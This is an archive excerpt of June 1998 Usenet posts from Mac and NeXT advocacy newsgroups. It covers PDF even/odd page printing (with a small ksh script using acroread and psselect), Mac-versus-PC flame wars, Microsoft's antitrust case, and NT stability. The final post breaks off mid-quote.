References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com> <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706980222270001@dapple.tormenta.com> <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706981131060001@dapple.tormenta.com> <jdoherty-1806982332470001@aus-tx27-09.ix.netcom.com> <j-jahnke-1906980251410001@dapple.tormenta.com> <jdoherty-1906981917060001@aus-tx19-08.ix.netcom.com> <j-jahnke-2006981133580001@dapple.tormenta.com>
In article <j-jahnke-2006981133580001@dapple.tormenta.com>,
j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
| I am tired of this, it isn't like either one of us are going to
| change our minds
Well, of course we aren't going to change each other's minds. After
all these years, we should know that we're both a little stubborn for
that, and anyway, we're involved in a religious debate.
I thought we were just arguing for the fun of arguing. :-)
| If the OS does not provide functionality to the user it is up
| the the Application Developer to do it.
Sure, as long as the app developer has reason to believe that a large
enough subset of the potential user base either wants or needs the
feature in question.
I think this may be where the even/odd printing thing fails: I just
don't think that many people want to do it.
I don't see why any one app should be singled out for not providing a
feature that the vast majority of other apps don't provide either.
To claim that PDF is useless because Reader doesn't support printing
even and odd pages separately is like claiming RTF is useless because
most word processors don't support that feature, either.
I still think PDF and RTF are both pretty good file formats, though.
I looked around pretty thoroughly today, and the only solution I can
find is a $25 win95-only plug-in called rtsDuplex. See
<http://www.roundtable.com.au/fr_plugins.htm>.
On macs and windows, I do not see how this could be done very easily
without a plug-in (assuming lack of support in the app and the print
driver).
On unix, though, it's pretty easy (given the psutils):
#!/usr/bin/ksh
# printpdf : print the named PDF files, with options to print
# only even or odd pages; requires the psutils to
# support even/odd printing
case $1 in
-e) even=1 ; shift ;;
-o) odd=1 ; shift ;;
esac
if [[ $even = 1 ]] ; then
for i in $* ; do
acroread -toPostScript < $i | psselect -e | lp
done
elif [[ $odd = 1 ]] ; then
for i in $* ; do
acroread -toPostScript < $i | psselect -o | lp
done
else
for i in $* ; do
acroread -toPostScript < $i | lp
done
fi
##
So if printing the even and odd pages of PDF files separately is a
problem, I'd say do it with unix for free, or do it with win95 and
a $25 plug-in.
On a mac, I don't see a good way to do it without manually printing
to a file and post-processing that. I suppose you could try hacking
something ugly together with AppleScript somehow, but I'm not going
to try it.
Best regards.
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Sun, 21 Jun 1998 00:03:28 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1day35l.1vx639ecqamjkN@pppsl635.chicagonet.net>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113> <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net> <macghod-1806980216100001@sdn-ar-001casbarp297.dialsprint.net> <1daujif.17ymw094idz37N@pppsl844.chicagonet.net> <macghod-1906981628160001@sdn-ar-001casbarp212.dialsprint.net>
NNTP-Posting-Date: 21 Jun 1998 05:04:12 GMT
Steve Sullivan <macghod@concentric.net> wrote:
[snip]
>
> So? Does the truth hurt you all that much? Of course, most sub $1k
> machines dont have good components, so I wouldnt call them a good value.
What??? After all those months of posts from you claiming what a great
deal for the money a sub-$1K PC is, you have the colossal gaul to say
this???
>
>
>
> > >I like macs, bfd.
> >
> > I guess that explains all the Mac bashing you did.
>
>
> Pointing out the truth is mac bashing?
Thank you for the arrogance. Everything that issues from Steve is the
"truth?" LOL. How lucky we poor mortals are, to have Macghod to
enlighten us.
Yes, telling us how bad Apple is for not producing the type of machine
that you now have decided isn't really worth having, and telling us how
much better off we'd be with sub-$1K PCs *IS* Mac bashing.
[snip]
> Most people use pc's to run openstep. And it is a VERY pleasant
> experience. I know, I ran it on a measly k6 233.
Good for you. I come to a Mac advocacy group to talk about pleasant
Macintosh experiences. Why don't you talk about your pleasant PC
experiences in NeXT and PC advocacy groups, instead of csma? It may
confuse them when they see the messages posted from a Mac, so I imagine
you'll have a bit of explaining to do.
[snip]
> I have no intention of advocating anything, only expressing my opinion,
> hopefully with facts.
You have advocated cheap PCs, even if you refuse to admit it.
>
>
> > > > My opinions don't change with the wind. The Macintosh running the Mac
> > > > OS is the best computing choice available.
>
> My opinions havent changed. Your world is so black and white that someone
> giving the benefits and disadvantages of both platforms confuses you. In
> your black and white world pc's are evel and macs are holy. I am sorry
> but things arent so clear cut
Steve, you haven't got a clue on what my world is like, or what confuses
me. I've used many different platforms throughout the years. I use
both PCs and Macs. I don't need you to tell me a thing about either
one.
Your opinions HAVE changed. You've bashed Macs, and advocated cheap
PCs, and then bought a G3 Mac. I don't know how you expect to have an
once of credibility with either PC advocates or Mac advocates. You've
made a rank hypocrite of yourself.
>
> > > If that is your opinion, fine. I am sure for many people a mac running
> > > macos is the best choice. Saying pc's are crap, is really offensive tho.
> > > Openstep is one of the most rock solid os's their is. I am sure many
> > > openstep users arent very happy with your calling pc's crap.
> >
> > I've paid my dues with PCs. I'll call them crap anytime I feel like it.
> > I've earned the right. Openstep users wouldn't be seeing this if you
> > hadn't cross posted my message.
>
>
> And Openstep users would argue with pc's being "crap"
Good for them. Let them buy PCs. I'm a Mac user, and a PC user, and
I say PCs are crap. Since you want to keep cross-posting this, let
them see me say it.
>
>
> > >The
> > > macintosh is a great machine, but the macos is simply too unstable.
> >
> > My Mac is perfectly stable.
> >
> > >But
> > > since the macos will soon have openstep as its core, things will be a
> > > hundred times better soon.
>
> I am glad it is for you. This is the second time I am writing this, the
> first time my machine crashed, I think the version of netscape os 8
> installed is probably crap. I think I will delete it and put on the
> version of IE that is on the os 8 cd. Oh and I already turned off Java,
> threw away crashguard, and threw away the extension people recomended I
> throw away.
Did you look at the bottom of the CD? ;)
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 21 Jun 1998 07:21:44 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35deaab4.128506219@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Sat, 20 Jun 1998 18:55:27 GMT,
>[Max]
>> Just can't let that slide, no, Dave.
>>
>> "Develop integrated"!="spontaneously create by combining previously
>> separate"
>
>Unfortunately, we are back to the "essentially meaningless" argument.
>
>I understand that you do not agree with Microsoft's definition of "integrated
>product".
Actually, it is the word "develop" that we disagree on, and I think that
is an important difference.
> What I was pointing out in this and other threads is that
>historical evidence tends to support this is what Microsoft meant in 1994
>(they were just as misguided back then). The correctness of the definition
>is a moot point when deciding Microsoft's 1994 intent.
>
>Are you arguing that Microsoft meant something different in 1994?
>
>Are you suggesting that Microsoft meant the "develop integrated products"
>clause to apply only to combining newly developed separate products?
>(Microsoft was not known for developing "new" products back then, it is still
>argued today)
I am arguing that Microsoft meant "here's a loophole we'll be able to
exploit at our convenience because it is so trivial to re-interpret".
Based on their actions, I have no reason whatsoever to believe that they
negotiated the consent decree, or any other legal document, in good
faith. The word 'develop' means "to develop", not "to combine".
>You (and the DOJ) can't simply make the "essentially meaningless" argument
>without providing an alternate meaningful explaination.
>
>BTW, The DOJ is arguing...
>
>"Develop integrated"=="spontaneously create by combining previously separate"
>
>but...
>
>"Develop integrated"!="combining products that are also sold separately"
I know. At least they're willing to go that far in recognizing
Microsoft's duplicitous nature.
>> "People were", "small offices were"; something about that phrasing
>> bothers me, what is it? Could it be the "market is proof that the
>> market is right" argument?
>
>I do not think of the market as right or wrong, it just "is". To me arguing
>about the correctness of the market is like arguing about the appropriate
>brightness of the sun.
You can only assume that the market just "is", if you also assume that
all markets are "free", "fair", and "competitive", depending on your
choice of term. You are correct, a market that is broken, strictly
speaking, is not a market. But I think you've dodged the point: your
attribution of volition to arbitrary groups like "people" or "small
offices" lends credibility to the market that is not necessarily valid.
You are using sales figures to derive motivations.
>> When 95 was released, you got on line to get
>> to the Internet, you didn't get on the Internet to get online. The
>> difference? People were hearing about how easy it was to get on the
>> Internet, Win95 just happened to be the OS in all the stores. And as
>> for small offices networking, can you say "LocalTalk, circa 1984"? To
>> hell with just the file and print sharing; the Mac even included the
>> friggen hardware, and a decade before Microsoft's broken excuse for a
>> network capability was in place.
>
>I think we somewhat agree here too, but your arguments are treading
>dangerously close to suggesting Microsoft CAUSED the mass market's interest
>in the Internet.
Never. Not in the slightest. _You_ brought up the phrase "people were
hearing about how easy it was to get online with Win95", or some such.
I was merely refuting this bogus claim.
> It is contradictory to argue Microsoft created a market
>while at the same time trying to restrict Microsoft's access to it. I tend
>to think it was more a matter of timing, the mass market was ready for the
>internet, Microsoft (and others) exploited that readiness.
Others exploited the readiness; Microsoft exploited them. The mass
market wasn't "ready" for the Internet. The Internet was ready for the
mass market. Or at least some bureaucratic dweebs in Washington thought
so.
>> And I'm sorry, but if you're going to admit it was anti-competitive,
>> then you have to admit it was illegal.
>
>I do not think legal precidents support your assumption. I understand there
>have been several cases where anti-competitive behavior has been ruled legal,
>even when these actions where executed by monopolistic companies.
Just what exactly is the definition of "anti-competitive" in this sense.
I was under the impression that, in order to even _hope_ to succeed with
an anti-competitive behavior, you have to be doing something illegal.
> Again, the
>threshhold of illegality is anticompetitive actions that ONLY a monopoly can
>do.
I hardly think that anti-competitive actions from competitive
(non-monopoly) companies would be very effective. So yea, I guess you
could call them "legal", though I think the term "stupid" would be more
appropriate. Wouldn't anyone other than a monopoly only _hurt_ their
market share by trying to be anti-competitive?
> It does not take being a monopoly to design your product in such a way as
>to frustrate competitor's efforts to compete against it. I do not believe
>there is a precedent where a product DESIGN was ruled illegal.
Well, no, I guess it is the mechanisms instantiated by the design that
would be illegal.
[...]
>The DOJ is trying to establish a new precedent to cover product design.[...]
Whoa, now. Where did you get this? You're not claiming that "this is
all about the gov't trying to tell MS how to write software", are you?
I would have expected more mental rigor from you, Dave.
> But
>even they are hedging their bets by giving Microsoft the "out" of putting
>competing browsers on the desktop. Even this remedy requires that the DOJ
>demostrate a substantial illegal activity on Microsoft's part first.
I'm seriously confused. It was my understanding that the "illegality"
at issue with Sherman Act legislation was that a monopoly cannot
"restrain trade". I must admit, I'm not familiar with the specifics of
any specifically proscribed actions. But the DoJ does not seem to have
a major obstacle in proving that Microsoft's strategy of ignoring the
distinct markets of PC hardware, MS operating systems, and PC apps is
based on illegal activity, according to the anti-trust law. As for
specific remedies, I wouldn't call being satisfied with anything that
allows competition to be "hedging their bets".
>My point was, and is, that the DOJ can not argue a definition that renders the
>exception clause completely meaningless (as opposed to worthless <g>)
>without conceding the Consent Agreement case to Microsoft.
Obviously enough, the DoJ cannot argue that Microsoft did not negotiate
in good faith, and that the consent decree is completely meaningless,
and still have grounds for a contempt charge.
> They would be
>putting all their eggs into the antitrust case, which may be something the
>DOJ should do. IMO, the antitrust case is much stronger then the
>consent/contempt case.
If the only reason you can come up with that the contempt case is
invalid is "Microsoft is so full of shit, that their legal agreements
are worthless to being with", I guess I support your approach. But you
seem awfully trollish today, David. Maybe it's just me...
[...]
>> Which is why it disturbs me so much to see Microsoft transforming
>> software's legal definitions and status as they have. Screw the
>> companies with 90% of the market, I'm worried about the 90% of the
>> companies captured by the market.
>
>Are you blaiming Microsoft because they are defending themselves?
Well, I honestly have _no idea_ where you got that idea, but in all
honesty, YES. I am wholeheartedly blaming Microsoft for defending
itself. Any company with the slightest amount of technical integrity
would say "OK, well, you know, software can do anything, so let's work
this out..." But trying to take over the world was more attractive to
them then writing quality software that could change the world.
The real fraud is the idea that Bill Gates is a visionary.
> I know
>we have been skirting this issue all along, but I am strongly opposed to
>the idea that Microsoft FORCED the DOJ to bend their own rules and twist
>our laws because Microsoft refused to concede guilt.
And I can't help but suspect that is because you don't understand the
technical issues, despite your knowledge of technology, and your wealth
of knowledge concerning the legal issues.
When you are providing a platform, you don't quibble with your ISVs.
That's just stupid. If you have a valid technical compulsion, then you
provide that information to your ISVs, and they help you work out how to
get the stuff to work right. You don't insist "but this is the way we
write the OS; take it or leave it". That is unthinkable. And the
reason it is unthinkable from a technical perspective is that every
technologist worth their salt will agree that from a technical
perspective, an OS monopoly on an open hardware architecture is
unthinkable. It is impossible, except by "locking in" application
developers, and that would require being dishonest about your
intentions. Lacking unethical and illegal restraint of trade, the
normal response to "this is the way we write our software, take it or
leave it" is "take a hike."
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple loses "loyalty" crown to Gateway and H-P
Date: Sun, 21 Jun 1998 00:43:39 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-2106980043430001@sdn-ar-001casbarp119.dialsprint.net>
References: <358739d2.7029885@news.tiac.net> <01bd99f6$bc4b54e0$c07498cf@edwint.rauland.com> <macghod-1706982217120001@206.133.187.113> <1dassqc.1ezpfh518o2c2fN@pppsl518.chicagonet.net> <macghod-1806980216100001@sdn-ar-001casbarp297.dialsprint.net> <1daujif.17ymw094idz37N@pppsl844.chicagonet.net> <macghod-1906981628160001@sdn-ar-001casbarp212.dialsprint.net> <1day35l.1vx639ecqamjkN@pppsl635.chicagonet.net>
In article <1day35l.1vx639ecqamjkN@pppsl635.chicagonet.net>,
ethorne@chicagonet.net (Edwin E. Thorne) wrote:
> Steve Sullivan <macghod@concentric.net> wrote:
>
> [snip]
> >
> > So? Does the truth hurt you all that much? Of course, most sub $1k
> > machines dont have good components, so I wouldnt call them a good value.
>
> What??? After all those months of posts from you claiming what a great
> deal for the money a sub-$1K PC is, you have the colossal gaul to say
> this???
Lets parse what you said... "After all those months of posts from you
claiming what a great deal for the money a sub-$1K PC is"
I dare you to go to dejanews and find any of these posts about sub $1k
pc's. In fact the main pc I talked about was a $1300 one with a monitor,
and was a p2 300 with 64 megs ram and a good video card that was very
compatible with openstep.
IF IT DIDNT HAVE GOOD COMPONENTS I WOULDNT EVEN OF MENTIONED IT!! But it
did. I had a good video card, 64 megs of ram, a 4 gig hard drive, a good
sound card, decent speakers, etc etc.
> > > >I like macs, bfd.
> > >
> > > I guess that explains all the Mac bashing you did.
> >
> >
> > Pointing out the truth is mac bashing?
>
> Thank you for the arrogance. Everything that issues from Steve is the
> "truth?" LOL. How lucky we poor mortals are, to have Macghod to
> enlighten us.
I never said that. I compared pc's to macs. I gave real world examples.
You called that mac bashing. All I was doing was giving real world
examples, ie FACTS.
> Yes, telling us how bad Apple is for not producing the type of machine
> that you now have decided isn't really worth having, and telling us how
> much better off we'd be with sub-$1K PCs *IS* Mac bashing.
I never even talked about sub $1k pcs. I was in the market for something
about as fast as a g3 233. A p2 300 is very comparable.
> > Most people use pc's to run openstep. And it is a VERY pleasant
> > experience. I know, I ran it on a measly k6 233.
>
> Good for you. I come to a Mac advocacy group to talk about pleasant
> Macintosh experiences. Why don't you talk about your pleasant PC
> experiences in NeXT and PC advocacy groups, instead of csma? It may
> confuse them when they see the messages posted from a Mac, so I imagine
> you'll have a bit of explaining to do.
Oh my god. I feel so incredibly bad about how I have confused all those
poor mac users with room tempeture IQ's. The endless confusion they must
be in :(
> [snip]
>
> > I have no intention of advocating anything, only expressing my opinion,
> > hopefully with facts.
>
> You have advocated cheap PCs, even if you refuse to admit it.
If their is a p2 that is comparable in speed to a g3 that has good
components, and is hundreds and hundreds and hundreds of dollars cheaper
than a g3, I will say, geez, that is a preety good deal. That would be a
nice computer to run openstep on, and it is a good price.
> > > > > My opinions don't change with the wind. The Macintosh running
the Mac
> > > > > OS is the best computing choice available.
NO. The macintosh running the macos is the best computing choice
available for SOME PEOPLE. For others a p2 400 with openstep (or
rhapsody) is the best choice.
> > And Openstep users would argue with pc's being "crap"
>
> Good for them. Let them buy PCs. I'm a Mac user, and a PC user, and
> I say PCs are crap. Since you want to keep cross-posting this, let
> them see me say it.
> > > >The
> > > > macintosh is a great machine, but the macos is simply too unstable.
> > >
> > > My Mac is perfectly stable.
> > >
> > > >But
> > > > since the macos will soon have openstep as its core, things will be a
> > > > hundred times better soon.
> >
> > I am glad it is for you. This is the second time I am writing this, the
> > first time my machine crashed, I think the version of netscape os 8
> > installed is probably crap. I think I will delete it and put on the
> > version of IE that is on the os 8 cd. Oh and I already turned off Java,
> > threw away crashguard, and threw away the extension people recomended I
> > throw away.
>
> Did you look at the bottom of the CD? ;)
Nope. If the bottom of the cd had a scratch on it it would have read and
write errors, not the errors I have had. Part of the problem is that I am
using the browser installed by os 8. I have run several utility programs
and nothing is reported wrong on the hard drive.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: Sun, 21 Jun 1998 01:28:03 -0700
Organization: Great untill Apple cancelled the Newton
Message-ID: <macghod-2106980128060001@sdn-ar-001casbarp119.dialsprint.net>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com>
In article <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com>, "Edwin E.
Thorne" <edwin.thorne@rauland.com> wrote:
> Steve Sullivan <macghod@concentric.net> wrote in article
> > Really? Where did I say I like cheap pc's? I gave the price of current
> > pc's, and said they were quite tempting given how AWESOME openstep is.
>
> You did far more than that. You bashed the Mac and the Mac OS, while
> telling us what a "great bargain" PCs are.
I did no such thing
> > You started crying since I said Openstep is a much more stable os than
> the
> > macos.
>
> I did no such thing. I just told you not to advertise PCs on a Mac news
> group.
Oh ok. I didnt realize you were in charge.
>I said you shouldn't discuss alternative PC operating systems on a
> Mac NG, but that discussing OpenStep and NeXT would be fine *IF* you were
> running them on a Mac. A Mac NG is for the Mac OS, or the Mac hardware,
> or both, but not for neither.
>
> > How long have you used Openstep?
>
> I've never used it, but I have no objection to it on a Macintosh.
>
> >
> > I still dont see what "the laugh" is about? A p2 300 running openstep is
> > a DAMN FINE machine. I was able to get a g3 for about $1200, so I jumped
> > on it. Again, I see no inconsistencies....
>
> Well, let's open your eyes. You constantly boasted what a great deal
> sub-$1K PCs are,
Nope. I never even talked about sub $1k machines. I was in the market
for a machine about as fast as a g3 233. A p2 300 is about as fast. A p2
300 with 64 megs of ram, at least a 4 gig hard drive, a decent video card
that openstep supports, with at least 4 megs of vram, was not a sub $1k
machine. In fact the one I posted the specs on was $1300 with 17 inch
monitor.
>and now you bought a Mac for more, after fighting Joe
> Ragosta tooth and nail when he told you that a G3 could be had for the
> price you paid.
Does getting the facts right even concern you in the least? I paid $1200
plus shipping for it, $1250 out the door. Can you name ONE authorized
apple dealer who sells it for under $1550? The g3 233 goes for about
$1600. THe wholesale price is about $1500 for resellers in the US. Some
unauthorized resellers get g3's from "other" sources and sell them for
about $1500. These places are being actively fought by APple, and you may
not even be able to buy a g3 from them anymore for this price, due to
operation starlight.
Joe said you could get a g3 233 for $1400. He later explained this as a
bad habit he got from his wife, see the lowest price on g3's was about
$1490 (greymarket) and he has a bad habit of truncating it instead of
properly rounding.
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Upgrade ASAP (was: Re: Skip NT 5.0)
Date: Sat, 20 Jun 1998 22:38:40 -0700
Organization: Trilithon Research and Trading
Message-ID: <358C9C60.3350C530@trilithon.com>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com> <6lrc8p$ff1@newsb.netnews.att.com> <casper-1806980728410001@wheat-a-06.monroeville.nb.net> <35897138.7D4B9D67@alum.mit.edu> <joe.ragosta-1906980830370001@wil84.dol.net> <358b7064.1006817@news.uq.edu.au> <casper-2006980623200001@wheat-a-23.monroeville.nb.net> <358b9d4e.12504780@news.uq.edu.au> <casper-2006980817360001@wheat-a-42.monroeville.nb.net> <358c71a4.807611@news.uq.edu.au>
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John Wiltshire wrote:
<<<< Bunch of "Debating" Snipped >>>>
* Huh? I just don't get where you've pulled these goals
* from. As far as I am aware, the design goals of NT
* (in order of priority) were:
* 1. Robustness
* 2. Extensibility and Maintainability
* 3. Portability
* 4. Performance
* 5. POSIX and C2
Robustness: NT still has a hell of a long way to go to
get the "ro" into the "bust". I have been running on
NT 4 (with SP whatever) for about nine months, and "robust"
is a long way off. I do all my Java [and C and TROFF and
PostScript and HTML and PGML] development on NT (I switched
to NT because I need to reboot only twice a day as opposed
to 20 times a day on Minnows 95).
I have apps here that can either crash NT on demand, or bring NT to
a point where the only recourse is to reboot. At least once
every day or two, I get NT to a point where it claims it
can't locate the Internet host that I just dialled into.
On regular occasions, I get that cute message telling me I am
"running low on virtual memory" --- that one really does
wonders for my confidence level. These are ostensibly trivial
apps like a PostScript viewer and a web browser. As far as I
am concerned, NT is decidedly less than industrial strength in
Robustness and Reliability.
Extensibility and Maintainability: Don't have a great deal
of knowledge in this area --- I'm just a user/developer.
Portability: well, Intel boxes and Alpha (and PPC?). Not
so shabby, but not great either.
Performance: there I'll grant you a [kind of a] win. NT
performance is pretty damned good, in the sense that the OS
actually leaves some cycles for applications to use. I ported
DWB 2.0 over to NT and my TROFF benchmark [TROFF being one of
the best soakers-up of CPU cycles of all time] has NT [on a 150MHz
Pentium] going about five times faster than my 25MHz MC68040
Next Slab. Not bad, but not as great as I would have expected.
POSIX and C2: POSIX pretty good --- I've ported a bunch of the
GNU utilities [Flex, Bison, grep, sed, make], and the pain has
been moderate to acute --- no worse in fact, than porting from
one Industry Standard UNIX to another Industry Standard UNIX.
C2 I don't know enough [and don't care enough] to form an opinion.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Sun, 21 Jun 1998 01:32:47 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-2106980132480001@digital-01-110.hou.neoworld.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net> <358882f9.0@news.together.net> <TheLidlessEyeTh-1806980045210001@digital-00-47.hou.neoworld.net> <3589d65c.0@news.together.net> <TheLidlessEyeTh-2006980111350001@digital-00-32.hou.neoworld.net> <358c12b0.0@news.together.net>
In article <358c12b0.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
>>Since the question was "own", the answer refered to "own".
Okay, so you hang out here and talk trash about stuff you've actually
shelled out
money for.
Seems like if using Macs were truly the horrid experience you make them
out to be, you'd
have stopped after buying the first one.
Yet you own seven.
Now who's the idiot?
>>>I fail to understand why you troll unceasingly and take every opportunity
>>>to denigrate
>>>machines that you actually own and use. It really doesn't make any sense.
>>..
>>Sure it does. Apple is screwing up big time and you all walk around like
>>nothing's happening.
Bullshit.
Nobody's harder on Apple than Mac users.
Nobody.
It comes from years of having your expectations raised, then dashed.
It's the _ computer_ that keeps us hanging in here year after year, not the
company, moron.
You need to learn to separate the two.
>>>As a true gearhead, I own and use machines of every stripe and flavor, and
>>>endeavor
>>>to exploit each platform's inherent advantages to their fullest.
>>..
>>That's great.
Yeah, you should try it. Seriously.
Instead of pointlessly bashing the Macintosh, try actually using the Macs
you own.
>>You could try with *one*.
I won't belabor the obvious.
You're a well known troll, Lance.
.
>>>Yet you've just admitted to owning several.
>>>Okay, so you own Macs, you just don't use them, I guess.
>>..
>>Sometimes. The others are for parts.
I thought you said the hardware was shit.
Why would you be parting them out?
>>My point was that you seem to think this isn't true. I was simply pointing
>>out that it is.
No, you were pointing out that Macs use the same parts, and are
constructed very much the same
way as PCs.
They're not,in fact, Macs use certain Mac-specific parts, that's why part
replacement is more
expensive.
Tell ya what.
We'll play along with your supposition.
If Macs have basically the same parts and are constructed the same way as
PCs, then it
follows that they would be of the same quality: good, poor or otherwise
(they're not, of course).
Yet you maintain that PCs are actually superior to the Mac in terms of quality.
How can they be, when both machines are constructed the same way with the
same parts?
Oops, sorry, guess I done blowed a hole in your purty logic.
>>..
>>..
>>>It doesn't mean they're all going to be defective if one of them is, or
>>>even several.
>>>Therefore, by asserting that you can make a blanket generalisation
>>regarding the
>>>quality of the whole by the quality of the one, your logic is faulty.
>>..
>>No, your reading is defective. I didn't write anything like that.
Bullshit.
Now you're backpedaling.
What a surprise.
>>There's not much to backup thus far.
You said it!
I mean, you haven't said anything
>>specific about anything execpt, perhaps, that Apple hardware is in some way
>>superior to the likes of Dell, Gateway & HP which simply isn't the case.
Sure it is.
Ethernet, SCSI and RISC performance come standard with even the
entry-level Macs.
They don't with the HPs, Dells and Gateways of the Wintel world.
Those are extras, Lance old boy.
We won't even broach the topic of the kludgelike GUI and pale imitation of PnP.
Oh, I love the PM/PMT that still doesn't keep the apps from taking down
the whole system.
That's the Microsoft way.
"Yeah, Win95/NT's got PM/PMT, it says so right here in this brochure/back
of software box!"
I'm noodling around on a ten-year old Amiga right now that puts both Mac
and PC to shame.
>>..
>>..
>>>I don't have a problem with anyone stating their opinion, as long as it's
>>>clearly
>>>labeled as such.
>>..
>>That's great. When I write an opinion, I'll label it for you. Since your're
>>in an advocacy group, this would waste most of the bandwidth, but for you
>>I'll try to remember.
It's just "you're", Lance. No "r're".
I've got a problem taking anybody who assumes a patronizing tone seriously
if they can't even get the
basics right.
So, you're basically qualifying your statements after the fact -
conveniently enough-
_AFTER_ I asked you to back up what you said.
That's typical of you.
You're as intellectually engaging as a network TV sitcom.
I think you've missed your true calling, Lance.
-More banalities by the FUD King snipped-
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: 21 Jun 1998 11:26:02 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6miqka$ndu$1@news.cs.tu-berlin.de>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <Euopxp.Ezq@AWT.NL> <6m9js0$34n$1@news.xmission.com> <Euuq6I.9ns@AWT.NL>
Mime-Version: 1.0
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G.C.Th.Wierda@AWT.nl (Gerben Wierda) writes:
>Supporting Intel makes my purchase of PPC hardware only more likely, not less.
This is the point that Apple must understand. The Intel option
is *vital* to getting PPC sales. Once Intel is available, they
may well not see that many Intel sales, because people will
prefer the PPC when given the option.
Not being given the option, NT is it. :-(
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Upgrade ASAP (was: Re: Skip NT 5.0)
Date: 21 Jun 1998 11:34:12 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6mir3k$njn$1@news.cs.tu-berlin.de>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com> <6lrc8p$ff1@newsb.netnews.att.com> <casper-1806980728410001@wheat-a-06.monroeville.nb.net> <35897138.7D4B9D67@alum.mit.edu> <joe.ragosta-1906980830370001@wil84.dol.net> <358b7064.1006817@news.uq.edu.au> <casper-2006980623200001@wheat-a-23.monroeville.nb.net> <358b9d4e.12504780@news.uq.edu.au> <casper-2006980817360001@wheat-a-42.monroeville.nb.net> <358c71a4.807611@ne
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Henry McGilton <henry@trilithon.com> writes:
[NT Stability not so hot]
>Performance: there I'll grant you a [kind of a] win. NT
>performance is pretty damned good, in the sense that the OS
>actually leaves some cycles for applications to use. I ported
>DWB 2.0 over to NT and my TROFF benchmark [TROFF being one of
>the best soakers-up of CPU cycles of all time] has NT [on a 150MHz
